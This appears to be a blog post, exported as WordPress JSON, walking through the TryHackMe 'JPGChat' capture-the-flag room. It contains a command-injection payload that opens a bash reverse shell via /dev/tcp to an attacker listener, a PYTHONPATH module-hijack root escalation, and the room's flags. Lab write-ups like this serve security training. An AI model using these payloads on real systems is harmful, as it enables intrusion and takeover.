{"id":1894,"date":"2025-06-26T10:51:20","date_gmt":"2025-06-26T14:51:20","guid":{"rendered":"https:\/\/www.peteonsoftware.com\/?p=1894"},"modified":"2025-06-26T10:51:20","modified_gmt":"2025-06-26T14:51:20","slug":"tryhackme-room-walkthrough-jpgchat","status":"publish","type":"post","link":"https:\/\/www.peteonsoftware.com\/index.php\/2025\/06\/26\/tryhackme-room-walkthrough-jpgchat\/","title":{"rendered":"TryHackMe Room Walkthrough: JPGChat"},"content":{"rendered":"<p><img decoding=\"async\" src=\"https:\/\/peteonsoftware.com\/images\/2025\/jpgchat_logo.png\" alt=\"THM JPGChat Room Logo\" title=\"THM JPGChat Room Logo\" style=\"float:left;margin:.5rem;\">Today, we&#8217;re going to do a challenge room from TryHackMe called JPGChat.  You can find it <a href=\"https:\/\/tryhackme.com\/room\/jpgchat\">here<\/a>.  It is a free room rated as Easy, so feel free to follow along.  The room description says, <em>&#8220;Exploiting poorly made custom chatting service written in a certain language&#8230;&#8221;<\/em>.  If you take a look at the logo for this room, you can probably guess what that language is.  Going in, I was already thinking that we were going to have to deal with some Python.  All we get is the instruction to <em>&#8220;Hack into the machine and retrieve the flag&#8221;<\/em> and our two tasks are <em>&#8220;Establish a foothold and get user.txt&#8221;<\/em> and <em>&#8220;Escalate your privileges to root and read root.txt&#8221;<\/em>.  Not a lot of frills, but pretty standard fare, so let&#8217;s get started.<\/p>\n<p>The first thing I did was add the IP for my instance of this machine into my <em>\/etc\/hosts<\/em> file with the name <em>jpgchat.thm<\/em>.  You don&#8217;t have to do this and (spoiler alert), I didn&#8217;t really need it or use it very much that way in this room.<\/p>\n<h1>Enumeration<\/h1>\n<h2>nmap<\/h2>\n<p>The first thing I did was a basic nmap scan.  I&#8217;ve taken to just doing a fast scan (<em>-T4<\/em>) of all TCP ports (<em>-p-<\/em>) with no scripts running just to find the open ports.  I&#8217;ve been doing so many of these where the room creators have been avoiding ports in the &#8220;most common thousand&#8221; that nmap uses if you don&#8217;t specify, so I started doing this.  Then, you can do a more in-depth scan against only those open ports (here I did <em>-A<\/em>, which enables OS detection, version detection, script scanning, and traceroute).  You can see the results below.  We have a standard SSH port open and a port 3000.  We don&#8217;t see a web server version with port 3000, so this may or may not be a web site.<\/p>\n<pre>\r\n# Basic nmap\r\nroot@vici:~# nmap -T4 -p- 10.10.239.7\r\nStarting Nmap 7.80 ( https:\/\/nmap.org ) at 2025-06-24 14:25 BST\r\nNmap scan report for jpgchat.thm (10.10.239.7)\r\nHost is up (0.00038s latency).\r\nNot shown: 65533 closed ports\r\nPORT     STATE SERVICE\r\n22\/tcp   open  ssh\r\n3000\/tcp open  ppp\r\nMAC Address: 02:90:3B:F1:10:2D (Unknown)\r\n\r\nNmap done: 1 IP address (1 host up) scanned in 1.88 seconds\r\n\r\n# In-Depth after we found ports\r\nroot@vici:~# sudo nmap -A -T4 -p 22,3000 10.10.239.7\r\nStarting Nmap 7.80 ( https:\/\/nmap.org ) at 2025-06-24 14:26 BST\r\nNmap scan report for jpgchat.thm (10.10.239.7)\r\nHost is up (0.00054s latency).\r\n\r\nPORT     STATE SERVICE VERSION\r\n22\/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)\r\n| ssh-hostkey: \r\n|   2048 fe:cc:3e:20:3f:a2:f8:09:6f:2c:a3:af:fa:32:9c:94 (RSA)\r\n|   256 e8:18:0c:ad:d0:63:5f:9d:bd:b7:84:b8:ab:7e:d1:97 (ECDSA)\r\n|_  256 82:1d:6b:ab:2d:04:d5:0b:7a:9b:ee:f4:64:b5:7f:64 (ED25519)\r\n3000\/tcp open  ppp?\r\n| fingerprint-strings: \r\n|   GenericLines, NULL: \r\n|     Welcome to JPChat\r\n|     source code of this service can be found at our admin's github\r\n|     MESSAGE USAGE: use [MESSAGE] to message the (currently) only channel\r\n|_    REPORT USAGE: use [REPORT] to report someone to the admins (with proof)\r\n1 service unrecognized despite returning data. If you know the service\/version, please submit the following fingerprint at https:\/\/nmap.org\/cgi-bin\/submit.cgi?new-service :\r\nSF-Port3000-TCP:V=7.80%I=7%D=6\/24%Time=685AA78A%P=x86_64-pc-linux-gnu%r(NU\r\nSF:LL,E2,\"Welcome\\x20to\\x20JPChat\\nthe\\x20source\\x20code\\x20of\\x20this\\x20\r\nSF:service\\x20can\\x20be\\x20found\\x20at\\x20our\\x20admin's\\x20github\\nMESSAG\r\nSF:E\\x20USAGE:\\x20use\\x20\\[MESSAGE\\]\\x20to\\x20message\\x20the\\x20\\(currentl\r\nSF:y\\)\\x20only\\x20channel\\nREPORT\\x20USAGE:\\x20use\\x20\\[REPORT\\]\\x20to\\x20\r\nSF:report\\x20someone\\x20to\\x20the\\x20admins\\x20\\(with\\x20proof\\)\\n\")%r(Gen\r\nSF:ericLines,E2,\"Welcome\\x20to\\x20JPChat\\nthe\\x20source\\x20code\\x20of\\x20t\r\nSF:his\\x20service\\x20can\\x20be\\x20found\\x20at\\x20our\\x20admin's\\x20github\\\r\nSF:nMESSAGE\\x20USAGE:\\x20use\\x20\\[MESSAGE\\]\\x20to\\x20message\\x20the\\x20\\(c\r\nSF:urrently\\)\\x20only\\x20channel\\nREPORT\\x20USAGE:\\x20use\\x20\\[REPORT\\]\\x2\r\nSF:0to\\x20report\\x20someone\\x20to\\x20the\\x20admins\\x20\\(with\\x20proof\\)\\n\"\r\nSF:);\r\nMAC Address: 02:90:3B:F1:10:2D (Unknown)\r\nWarning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port\r\nDevice type: general purpose\r\nRunning: Linux 3.X\r\nOS CPE: cpe:\/o:linux:linux_kernel:3\r\nOS details: Linux 3.10 - 3.13\r\nNetwork Distance: 1 hop\r\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\r\n\r\nTRACEROUTE\r\nHOP RTT     ADDRESS\r\n1   0.54 ms jpgchat.thm (10.10.239.7)\r\n\r\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\r\nNmap done: 1 IP address (1 host up) scanned in 9.28 seconds\r\n<\/pre>\n<h2>Port 3000<\/h2>\n<p><img decoding=\"async\" src=\"https:\/\/peteonsoftware.com\/images\/2025\/jpgchat_website.jpg\" alt=\"Viewing Port 3000 with a Web Browser\" title=\"Viewing Port 3000 with a Web Browser\"><\/p>\n<p>View Source is only that text.  It is not markup at all.  There is nothing in the Headers that I can see in the response using the Developer Tools.  That&#8217;s all weird.  It is telling us to do stuff, but I can&#8217;t do what they are asking me to do.  Because of that, and because of general CTF-ness, I&#8217;m going to connect with netcat and see if we can interact with it at all or get some more information than we&#8217;re getting from nmap or the browser.<\/p>\n<pre>\r\nroot@vici:~# nc 10.10.239.7 3000\r\nWelcome to JPChat\r\nthe source code of this service can be found at our admin's github\r\nMESSAGE USAGE: use [MESSAGE] to message the (currently) only channel\r\nREPORT USAGE: use [REPORT] to report someone to the admins (with proof)\r\n[MESSAGE]\r\nThere are currently 0 other users logged in\r\n[MESSAGE]: hi\r\n[MESSAGE]: wessyde\r\n[MESSAGE]: exit\r\n[MESSAGE]: [REPORT]\r\nthis report will be read by Mozzie-jpg\r\nyour name:\r\nMe \r\nyour report:\r\nI'm just looking for information... gotcha Mozzie-jpg!\r\n[MESSAGE]: ^C\r\n<\/pre>\n<p>Okay.  So, I can send messages and I can report things.  It says the report will be read by Mozzie-jpg.  That&#8217;s a pretty unique username.  Let&#8217;s see if we can search that and find anything.  The message did say that the source can be found on the admin&#8217;s GitHub, this might be what points us to it.  And, after about 3 seconds of Googling, I found Mozzie-jpg&#8217;s GitHub and then found the repo for this project <a href=\"https:\/\/github.com\/Mozzie-jpg\/JPChat\">https:\/\/github.com\/Mozzie-jpg\/JPChat<\/a>.<br \/>\n<img decoding=\"async\" src=\"https:\/\/peteonsoftware.com\/images\/2025\/jpgchat_github.png\" alt=\"Mozzie-jpg's GitHub for this Project\" title=\"Mozzie-jpg's GitHub for this Project\"><\/p>\n<p>Inside, the source of jpchat.py is this:<\/p>\n<pre>\r\n#!\/usr\/bin\/env python3\r\n\r\nimport os\r\n\r\nprint ('Welcome to JPChat')\r\nprint ('the source code of this service can be found at our admin\\'s github')\r\n\r\ndef report_form():\r\n\r\n\tprint ('this report will be read by Mozzie-jpg')\r\n\tyour_name = input('your name:\\n')\r\n\treport_text = input('your report:\\n')\r\n\tos.system(\"bash -c 'echo %s > \/opt\/jpchat\/logs\/report.txt'\" % your_name)\r\n\tos.system(\"bash -c 'echo %s >> \/opt\/jpchat\/logs\/report.txt'\" % report_text)\r\n\r\ndef chatting_service():\r\n\r\n\tprint ('MESSAGE USAGE: use [MESSAGE] to message the (currently) only channel')\r\n\tprint ('REPORT USAGE: use [REPORT] to report someone to the admins (with proof)')\r\n\tmessage = input('')\r\n\r\n\tif message == '[REPORT]':\r\n\t\treport_form()\r\n\tif message == '[MESSAGE]':\r\n\t\tprint ('There are currently 0 other users logged in')\r\n\t\twhile True:\r\n\t\t\tmessage2 = input('[MESSAGE]: ')\r\n\t\t\tif message2 == '[REPORT]':\r\n\t\t\t\treport_form()\r\n\r\nchatting_service()\r\n<\/pre>\n<h1>Exploitation<\/h1>\n<p>So there doesn&#8217;t seem to be any exploit within the chatting function, but [REPORT] sure does.  It runs an <em>os.system()<\/em> Python command with a good old <em>bash -c<\/em>.  If we just do some command injection with nothing more exciting than a semicolon, we&#8217;re going to have some wins here.  Here&#8217;s what I did next to set up a netcat listener, do the command injection to call out to it, then go back and see the connection. <\/p>\n<pre>\r\n# In a new tab\r\nroot@vici:~# nc -lvnp 4444\r\n\r\n# In original tab\r\nroot@vici:~# nc 10.10.239.7 3000\r\nWelcome to JPChat\r\nthe source code of this service can be found at our admin's github\r\nMESSAGE USAGE: use [MESSAGE] to message the (currently) only channel\r\nREPORT USAGE: use [REPORT] to report someone to the admins (with proof)\r\n[REPORT]\r\nthis report will be read by Mozzie-jpg\r\nyour name:\r\npwn3d\r\nyour report:\r\n;bash -i >& \/dev\/tcp\/10.10.136.81\/4444 0>&1;\r\n\r\n# Back in the new tab...\r\nroot@vici:~# nc -lvnp 4444\r\nListening on 0.0.0.0 4444\r\nConnection received on 10.10.239.7 55804\r\nbash: cannot set terminal process group (1422): Inappropriate ioctl for device\r\nbash: no job control in this shell\r\nwes@ubuntu-xenial:\/$ \r\n<\/pre>\n<p>We&#8217;re in.  Let&#8217;s look around and find the user flag.<\/p>\n<pre>\r\ncd \/home\/wes\r\nwes@ubuntu-xenial:~$ ls\r\nls\r\nuser.txt\r\nwes@ubuntu-xenial:~$ cat user.txt\r\ncat user.txt\r\nJPC{487030410a543503cbb59ece16178318}\r\n<\/pre>\n<h1>Privilege Escalation<\/h1>\n<h2>Recon as Wes<\/h2>\n<p>Let&#8217;s take a look around.  I check the groups that Wes belongs to and his sudo privileges.  It ends up that he has no interesting groups and can run sudo on one python file.<\/p>\n<pre>\r\nwes@ubuntu-xenial:~$ id\r\nid\r\nuid=1001(wes) gid=1001(wes) groups=1001(wes)\r\n\r\n# No Good Groups, does sudo -l work?\r\nwes@ubuntu-xenial:~$ sudo -l\r\nsudo -l\r\nMatching Defaults entries for wes on ubuntu-xenial:\r\n    mail_badpass, env_keep+=PYTHONPATH\r\n\r\nUser wes may run the following commands on ubuntu-xenial:\r\n    (root) SETENV: NOPASSWD: \/usr\/bin\/python3 \/opt\/development\/test_module.py\r\n\r\n# What is in there?\r\nwes@ubuntu-xenial:~$ cat \/opt\/development\/test_module.py\r\ncat \/opt\/development\/test_module.py\r\n#!\/usr\/bin\/env python3\r\n\r\nfrom compare import *\r\n\r\nprint(compare.Str('hello', 'hello', 'hello'))\r\n<\/pre>\n<p>The file doesn&#8217;t do very much, but it does import from a module called compare.  So, what I can do is make my own compare module and edit my Python path information so that mine module is called instead of the real one and then my code will get executed as root.  So, I make my own compare.py file, edit the path to have \/home\/wes in it.<\/p>\n<pre>\r\n# I tried a few things but I couldn't get editors to work, \r\n# nano not at all and vi was weird\/buggy \r\n# I was too lazy to set up .ssh keys for wes to SSH in and \r\n# have a better shell experience\r\n# I had already upgraded my shell with a Python pty.spawn() command, \r\n# but that didn't seem to help\r\n# so i did this the hacky way.  I wasn't sure how to do this in one \r\n# line with a newline so I did it in two steps\r\nwes@ubuntu-xenial:~$ echo \"import os\" > compare.py\r\necho \"import os\" > compare.py\r\nwes@ubuntu-xenial:~$ echo \"os.system('\/bin\/bash')\" >> compare.py\r\necho \"os.system('\/bin\/bash')\" >> compare.py\r\nwes@ubuntu-xenial:~$ cat compare.py\r\ncat compare.py\r\nimport os\r\nos.system('\/bin\/bash')\r\nwes@ubuntu-xenial:~$ chmod +x compare.py\r\nchmod +x compare.py\r\nwes@ubuntu-xenial:~$ export PYTHONPATH=\/home\/wes\r\nexport PYTHONPATH=\/home\/wes\r\n<\/pre>\n<h2>Getting the Root Shell<\/h2>\n<p>After that, we just have to run it and then grab the root flag.  Everything below the flag is from the root.txt file, these are the room creator&#8217;s shoutouts.<\/p>\n<pre>\r\n# Now to run it\r\nwes@ubuntu-xenial:~$ sudo \/usr\/bin\/python3 \/opt\/development\/test_module.py\r\nsudo \/usr\/bin\/python3 \/opt\/development\/test_module.py\r\nroot@ubuntu-xenial:~# whoami\r\nwhoami\r\nroot\r\nroot@ubuntu-xenial:~# cd \/root\r\ncd \/root\r\nroot@ubuntu-xenial:\/root# ls\r\nls\r\nroot.txt\r\nroot@ubuntu-xenial:\/root# cat root.txt\r\ncat root.txt\r\nJPC{665b7f2e59cf44763e5a7f070b081b0a}\r\n\r\nAlso huge shoutout to Westar for the OSINT idea\r\ni wouldn't have used it if it wasnt for him.\r\nand also thank you to Wes and Optional for all the help while developing\r\n\r\nYou can find some of their work here:\r\nhttps:\/\/github.com\/WesVleuten\r\nhttps:\/\/github.com\/optionalCTF\r\nroot@ubuntu-xenial:\/root# \r\n<\/pre>\n<p>That&#8217;s it.  A good solid beginner room that had a little OSINT, a little code review, some command injection, and a little Python scripting.  Hope you enjoyed it!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Today, we&#8217;re going to do a challenge room from TryHackMe called JPGChat. You can find it here. It is a free room rated as Easy, so feel free to follow along. The room description says, &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[153],"tags":[141,142],"class_list":["post-1894","post","type-post","status-publish","format-standard","hentry","category-capture-the-flag","tag-information-security","tag-infosec"],"_links":{"self":[{"href":"https:\/\/www.peteonsoftware.com\/index.php\/wp-json\/wp\/v2\/posts\/1894","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.peteonsoftware.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.peteonsoftware.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.peteonsoftware.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.peteonsoftware.com\/index.php\/wp-json\/wp\/v2\/comments?post=1894"}],"version-history":[{"count":0,"href":"https:\/\/www.peteonsoftware.com\/index.php\/wp-json\/wp\/v2\/posts\/1894\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.peteonsoftware.com\/index.php\/wp-json\/wp\/v2\/media?parent=1894"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.peteonsoftware.com\/index.php\/wp-json\/wp\/v2\/categories?post=1894"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.peteonsoftware.com\/index.php\/wp-json\/wp\/v2\/tags?post=1894"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}